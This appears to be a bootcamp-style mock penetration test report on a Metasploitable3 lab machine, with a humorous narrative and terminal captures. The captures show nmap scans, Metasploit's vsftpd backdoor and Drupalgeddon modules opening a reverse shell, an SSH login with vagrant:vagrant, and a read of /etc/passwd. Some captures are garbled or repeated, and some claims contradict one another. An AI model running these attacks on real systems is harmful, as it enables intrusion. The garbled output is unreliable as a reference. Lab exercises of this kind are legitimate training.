



# OMEGA SECURITY

## **Metasploitable Findings**

Business Confidential

Date : 11/29/2024  
Project : 234-5  
Version 1.1

---

Business Confidential  
**Copyright @OMEGASECURITY**

## **TABLE OF CONTENTS**

<b>Table of Contents</b>	<b>2</b>
<b>Confidentiality Statement</b>	<b>3</b>
<b>Disclaimer</b>	<b>3</b>
<b>Contact Information</b>	<b>3</b>
<b>Assessment Overview</b>	<b>4</b>
<b>Assessment Components</b>	<b>4</b>
-External Penetration Testing	4
<b>Severity Rating</b>	<b>4</b>
<b>Scope</b>	<b>5</b>
-Scope Inclusions	5
-Client Allowance	5
<b>Executive Summary</b>	<b>6</b>
-Penetration Test Summary	6
<b>Security Strengths</b>	<b>7</b>
<b>Security Weakness</b>	<b>7</b>
<b>Additional Report Contents</b>	<b>8</b>

**Confidentiality Statement:** We are "Omega Security" value our customers personal information and data to the utmost degree, it is our first priority to make sure any information or data captured during the penetration test period is highly encrypted and safe in our cloud environment. We have backing of over 100,000 companies in highly secure encrypted databases, this coverage is also inclusive of \$100,000,000.00 insured policies that we hold with a highly regarded insurance brokerage. These insurances are held in place due to the unlikely event of datacenter crashes caused by forces outside of our control. Furthermore any information obtained is to not be distributed to any other organizations under any circumstances with exception to allowed organizations advised through the customers preferences.

**Disclaimer:** We at "Omega Security" offer solutions for a variety of issues concerning vulnerability protection to program for employee security improvements. This wide variety of options give you the fuel our customers need to ensure proper security measures are taken on a daily basis, and that with time they will become a powerhouse protected from the most modest threat, to the most dangerous kinds of threats that exist within the current tech age. (With this being said we are limited to only using Metasploit, because we are ran by someone going to a cybersecurity bootcamp)

### **Contact Information**

**Los Angeles, California Office:** (408) 880-8880

**New York, NY Office:** (646) 666-6660

**Denver, Colorado Office** (303) 333-3330



OMEGA SECURITY

**Assessment Overview:** Primarily using the newest version of Kali Linux and Metasploit, we have found multiple access points for bad actors to take advantage of easily obtainable exploits. This leaves large gaps in protections allowing bad actors to easily escalate privileges from gathering alternative kinds of information.

**Assessment Components:** We are utilizing NMAP and Metasploit to navigate through gaps in security. This is an external penetration test using simple tools.

**Severity Ratings:** The general level of security gaps and issues that were found would range from a High Medium, to a Low High. The issues that were easily exploitable were found to have a severe effect on overall company safety, and this can tie into many issues when you are a company that holds large amounts of personal customer information in databases. Just for an example, being able to use free tools in Nmap to find what ports are being used at a companies public IP address allows us to then take the ports available and find exploitable paths of injecting Metasploit unto this easily plottable port; Once the port is accessed and Metasploit is able to exploit then you can access files that hold valuable information such as usernames & passwords, making it very easy to escalate privileges putting important information at risk.

**Scope Inclusions:** As per agreement made with this company we are only able to attempt and penetrate externally using the public IP address, which is found to be a sufficient point of entry. Though we are informed and compensated only to exploit this one source.

**Client Allowance:** As per agreement we have been funded up to \$1,000.00 to fund this short term external penetration test. This was a small price to pay for the kinds of gaps in security found, that can potentially save this company hundreds of thousands of court/attorney fees in the future.

## **Executive Summary**

Before giving our honest feedback, I would love to say this has been a great experience working with this fantastic company, and we hope after today we can continue to serve this company to add to its already stellar reputation.

My team and I (just me lol) found over the course of a 4 hour penetration test that you possess a decent amount of firewall and complicated entry points that made it difficult to exploit due to our lack of information prior to penetration. We found that security is tight and we appreciate that, though we were still able to gain access through 3 different routes we were never able to gain root privileges.

That means your important documents are safe! No leaking of private customer information today, means a dollar saved for your shareholders! Woo!

All jokes aside I find that this company has a strong team backing its security, and whoever you have setting up your VM's is a very clever individual. We hope to get a chance again in the future to test your security limits and see if we can find any kind of gap in security to exploit!

Thank you again for your patience and giving us this opportunity! Tschus!

**Security Strengths:** Overall the VM had a high amount of security, this is in the sense of utilizing free software to exploit weaknesses. Although if bad actors have any kind of stronger software to take advantage of all the open ports then there are some serious issues. It took time for me, as a very basic trained hacker, to find just a few different cards from the Metasploitable VM, and overall I never even was able to find a card the 4 hours period, I felt that it really took too much time as a newer "bad actor" to find exploitable areas. They had in depth folder placement which made it difficult to track down the correct directories, they also used many different ports that are open which made it difficult to use metasploit to find specific exploits within these ports ( also using ports I am unfamiliar with made it difficult ). There was an abundance of firewall and security features that held me back from being able to escalate privileges in lots of ways.

**Security Weaknesses:** There is a large list of vulnerabilities, though this metasploitable3 is created to have them naturally. Just to name a few there are massive exploitable points through ports 445, and 139, these are easy target points when using metasploit, and there are large lists of credentials used to escalate privileges. I used Vagrant & Vagrant. Escalating privileges allows access to documents that contain files and images of the cards we are searching for, but in the sense of a real world situation the cards would be customers personal information and data.

## **Additional Report Contents**

In the 4 hours period I had multiple attempts that didn't work through Metasploitable, I went through each port individually after using Nmap to scan the open ports and tried to find through metasploit what kind of exploits the ports would be open through. I had to scan a few different times to see what kinds of ports were open through 1-1000, then 1-2000, then I just went to 1-10000 and was able to see every open port that would have potential to use an exploitable action on.

Utilizing metasploit I was able to access Metasploitable3 in a few ways, after using Nmap I found different ports open and I was able to get a backdoor session opened, I was also able to an SSH session open which did not have accelerated privileges although it was a foot in the door, and lastly I was able to use Drupalgeddon and get basic access into Metasploitable3 which did not have root access but had /Drupal/ access. Overall I felt a bit overwhelmed trying to break into this machine and found it quite complex to solve within a 4 hour period.

I will attach my screenshots following my process.



# Screenshots

```

mathiasdiaz@kali: ~
File Actions Edit View Help
└─(mathiasdiaz@kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:f0:0f:9d brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
        valid_lft 501sec preferred_lft 501sec
    inet6 fe80::a00:27ff:fe0f:9d/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

└─(mathiasdiaz@kali)-[~]
└─$ ping 10.0.2.4
PING 10.0.2.4 (10.0.2.4) 56(84) bytes of data.
64 bytes from 10.0.2.4: icmp_seq=1 ttl=64 time=0.641 ms
64 bytes from 10.0.2.4: icmp_seq=2 ttl=64 time=0.329 ms
64 bytes from 10.0.2.4: icmp_seq=3 ttl=64 time=0.621 ms
64 bytes from 10.0.2.4: icmp_seq=4 ttl=64 time=0.862 ms
64 bytes from 10.0.2.4: icmp_seq=5 ttl=64 time=1.02 ms
64 bytes from 10.0.2.4: icmp_seq=6 ttl=64 time=0.696 ms
64 bytes from 10.0.2.4: icmp_seq=7 ttl=64 time=0.694 ms
64 bytes from 10.0.2.4: icmp_seq=8 ttl=64 time=0.656 ms
64 bytes from 10.0.2.4: icmp_seq=9 ttl=64 time=0.476 ms
64 bytes from 10.0.2.4: icmp_seq=10 ttl=64 time=0.183 ms
64 bytes from 10.0.2.4: icmp_seq=11 ttl=64 time=1.15 ms
64 bytes from 10.0.2.4: icmp_seq=12 ttl=64 time=0.755 ms
64 bytes from 10.0.2.4: icmp_seq=13 ttl=64 time=0.784 ms
64 bytes from 10.0.2.4: icmp_seq=14 ttl=64 time=0.352 ms
64 bytes from 10.0.2.4: icmp_seq=15 ttl=64 time=0.608 ms
^C
--- 10.0.2.4 ping statistics ---
15 packets transmitted, 15 received, 0% packet loss, time 14220ms
rtt min/avg/max/mdev = 0.183/0.655/1.152/0.246 ms

└─(mathiasdiaz@kali)-[~]
└─$ nmap 10.0.2.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 18:10 EST
Nmap scan report for 10.0.2.4
Host is up (0.00044s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  microsoft-ds
631/tcp   open  ipp
3000/tcp   closed ppp
3306/tcp   open  mysql

```

```

mathiasdiaz@kali: ~
File Actions Edit View Help
└─(mathiasdiaz@kali)-[~]
└─$ nmap -p- 10.0.2.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 18:13 EST
Nmap scan report for 10.0.2.4
Host is up (0.00059s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  microsoft-ds
631/tcp   open  ipp
3000/tcp   closed ppp
3306/tcp   open  mysql
3500/tcp   open  http
8080/tcp   open  http-proxy
8181/tcp   closed intermapper
MAC Address: 08:00:27:2E:05:AD (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 4.12 seconds

└─(mathiasdiaz@kali)-[~]
└─$ nmap -p- 10.0.2.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 18:11 EST
Nmap scan report for 10.0.2.4
Host is up (0.00031s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  microsoft-ds
631/tcp   open  ipp
3000/tcp   closed ppp
3306/tcp   open  mysql
3500/tcp   open  http
8080/tcp   open  http-proxy
8181/tcp   closed intermapper
MAC Address: 08:00:27:2E:05:AD (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 184.47 seconds

```

```

mathiasdiaz@kali: ~
File Actions Edit View Help
└─(mathiasdiaz@kali)-[~]
└─$ nmap -p- 10.0.2.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 18:13 EST
Nmap scan report for 10.0.2.4
Host is up (0.00059s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  microsoft-ds
631/tcp   open  ipp
3000/tcp   closed ppp
3306/tcp   open  mysql
3500/tcp   open  http
8080/tcp   open  http-proxy
8181/tcp   closed intermapper
MAC Address: 08:00:27:2E:05:AD (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 4.12 seconds

└─(mathiasdiaz@kali)-[~]
└─$ nmap -p- 10.0.2.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 18:11 EST
Nmap scan report for 10.0.2.4
Host is up (0.00031s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  microsoft-ds
631/tcp   open  ipp
3000/tcp   closed ppp
3306/tcp   open  mysql
3500/tcp   open  http
8080/tcp   open  http-proxy
8181/tcp   closed intermapper
MAC Address: 08:00:27:2E:05:AD (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 184.47 seconds

```

[illegible]

```

1  [root@kali:~]#
2  [root@kali:~]#
3  File Actions Edit View Help
4
5  Check supported:
6  No
7
8  Basic options:
9  Name      Current Setting  Required  Description
10 -----
11 MSF5?      yes               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
12 WPREF?     21                yes       The target port (TCP)
13
14 Payload information:
15 Name: 2000
16 Size: 0 characters
17
18 Description:
19 This module exploits a malicious backdoor that was added to the MSF700 download
20 archive. This module was introduced into the vspfw-2.3.4.tar.gz archive between
21 June 20th 2011 and July 1st 2011 according to the most recent information
22 available. This backdoor was removed on July 20th, 2011.
23
24 References:
25 #0508 (75753)
26 http://python.com/batt95d
27 http://scarpbastsecurity.blogspot.com/2011/07/alert-vsfpw-download-backdoor.html
28
29 View the full module info with the info -c command.
30
31 [root@kali:~]# info -c vsfpw_234_backdoor
32
33 No payload configured, defaulting to cmd/multi/interact
34 msf5 exploit(multi/vspfw_234_backdoor) > set RHOST_A
35 RHOST_A => 10.8.2.4
36 msf5 exploit(multi/vspfw_234_backdoor) > run
37
38 [*] 10.8.2.4(21) - Banner: 200 PspFW 1.0.5 Server (PspFW? Default Installation) [10.8.2.4]
39 [*] 10.8.2.4(21) - OSFP: 331 Password required for cr0@Psp
40 [*] Exploit completed, but no session was created.
41 msf5 exploit(multi/vspfw_234_backdoor) > set RHOST_A
42 RHOST_A => 10.8.2.4
43 msf5 exploit(multi/vspfw_234_backdoor) > run
44
45 [*] 10.8.2.4(21) - Banner: 220 PspFW 1.0.5 Server (PspFW? Default Installation) [10.8.2.4]
46 [*] 10.8.2.4(21) - OSFP: 331 Password required for Cr0
47 [*] Exploit completed, but no session was created.
48 msf5 exploit(multi/vspfw_234_backdoor) > set cr0/passwd
49 cr0/passwd => /etc/passwd
50
51 root@kali:~# cat /etc/passwd
52 root:x:0:0:root:/usr/bin/rsh
53 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
54 bin:x:2:2:bin:/usr/sbin/nologin
55 sys:x:3:3:sys:/dev:/usr/sbin/nologin
56 sync:x:4:5152:sync:/bin:/bin/sync

```

[illegible][illegible]

```
msf6> use exploit/multi/http/drupal_drupageddon
msf6 exploit(multi/http/drupal_drupageddon) > show options
Module options (exploit/multi/http/drupal_drupageddon):
  Name      Current Setting  Required  Description
  ---      -
  PROXIES    no               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     10.0.2.4         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      80              yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The target URI of the Drupal installation
  VHOST      /                no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  ---      -
  LHOST     10.0.2.5         yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:
  Id  Name
  --  -
  0   Drupal 7.0 - 7.31 (form-cache PHP injection method)

View the full module info with the info, or info -d command.
msf6 exploit(multi/http/drupal_drupageddon) > info
[*] Unknown command: rhasts. Did you mean info? Run the -h command for more details.
msf6 exploit(multi/http/drupal_drupageddon) > set rhosts 10.0.2.4
rhosts => 10.0.2.4
msf6 exploit(multi/http/drupal_drupageddon) > set targeturi /drupal/
targeturi => /drupal/
msf6 exploit(multi/http/drupal_drupageddon) > set targeturi /drupal/
targeturi => /drupal/
msf6 exploit(multi/http/drupal_drupageddon) > set payload php/reverse_perl
payload => php/reverse_perl
msf6 exploit(multi/http/drupal_drupageddon) > show options
Module options (exploit/multi/http/drupal_drupageddon):
  Name      Current Setting  Required  Description
  ---      -
  PROXIES    no               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     10.0.2.4         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      80              yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /drupal/         yes       The target URI of the Drupal installation
  VHOST      /                no        HTTP server virtual host

Payload options (php/reverse_perl):
  Name      Current Setting  Required  Description
  ---      -
  LHOST     10.0.2.5         yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:
  Id  Name
  --  -
  0   Drupal 7.0 - 7.31 (form-cache PHP injection method)

View the full module info with the info, or info -d command.
msf6 exploit(multi/http/drupal_drupageddon) > exploit
[*] Started reverse TCP handler on 10.0.2.5:4444
[*] Command shell session 1 opened (10.0.2.5:4444 -> 10.0.2.4:42751) at 2024-12-06 21:04:40 -0500

dir
CHANGELOG.txt  INSTALL.txt  authorize.php  misc  sites
COPYRIGHT.txt  LICENSE.txt  cron.php      modules  themes
INSTALL.mysql.txt  MAINTAINERS.txt  includes  profiles  update.php
INSTALL.pgsql.txt  README.txt  index.php    robots.txt  web.config
INSTALL.sqlite.txt  UPGRADE.txt  install.php  scripts  xmlrpc.php
```

```
msf6 exploit(multi/http/drupal_drupageddon) > exploit
[*] Started reverse TCP handler on 10.0.2.5:4444
[*] Command shell session 1 opened (10.0.2.5:4444 -> 10.0.2.4:42751) at 2024-12-06 21:04:40 -0500

dir
CHANGELOG.txt  INSTALL.txt  authorize.php  misc  sites
COPYRIGHT.txt  LICENSE.txt  cron.php      modules  themes
INSTALL.mysql.txt  MAINTAINERS.txt  includes  profiles  update.php
INSTALL.pgsql.txt  README.txt  index.php    robots.txt  web.config
INSTALL.sqlite.txt  UPGRADE.txt  install.php  scripts  xmlrpc.php
```

```
msf6 exploit(multi/http/drupal_drupageddon) > exploit
[*] Started reverse TCP handler on 10.0.2.5:4444
[*] Command shell session 1 opened (10.0.2.5:4444 -> 10.0.2.4:42751) at 2024-12-06 21:04:40 -0500

dir
CHANGELOG.txt  INSTALL.txt  authorize.php  misc  sites
COPYRIGHT.txt  LICENSE.txt  cron.php      modules  themes
INSTALL.mysql.txt  MAINTAINERS.txt  includes  profiles  update.php
INSTALL.pgsql.txt  README.txt  index.php    robots.txt  web.config
INSTALL.sqlite.txt  UPGRADE.txt  install.php  scripts  xmlrpc.php

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:12:ad:ad brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.4/24 brd 10.0.2.255 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe2e:d5ad/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:80:39:4c brd ff:ff:ff:ff:ff:ff
    inet 172.28.128.3/24 brd 172.28.128.255 scope global eth1
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe80:394c/64 scope link
        valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:5b:df:fe:00 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
        valid_lft forever preferred_lft forever
    inet6 fe80::42:5b:df:fe:00/64 scope link
        valid_lft forever preferred_lft forever
```



```
Metasploit Documentation: https://docs.metasploit.com/

msf6 > exploit(multi/ssh/sshexec)
[-] Unknown command: exploit(multi/ssh/sshexec). Run the help command for more details.
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 10.0.2.4
rhosts => 10.0.2.4
msf6 auxiliary(scanner/ssh/ssh_login) > set username vagrant
username => vagrant
msf6 auxiliary(scanner/ssh/ssh_login) > set password vagrant
password => vagrant
msf6 auxiliary(scanner/ssh/ssh_login) > exploit

[*] 10.0.2.4:22 - Starting bruteforce
[*] 10.0.2.4:22 - Success: 'vagrant:vagrant' 'uid=900(vagrant) gid=900(vagrant) groups=900(vagrant),27(sudo) Linux metasploitable3-ub1404 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (10.0.2.5:34669 -> 10.0.2.4:22) at 2024-12-07 21:15:43 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i

Active sessions

```

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
--	--	--	--	--
1		shell linux	SSH mathiaskdiaz @	10.0.2.5:34669 -> 10.0.2.4:22 (10.0.2.4)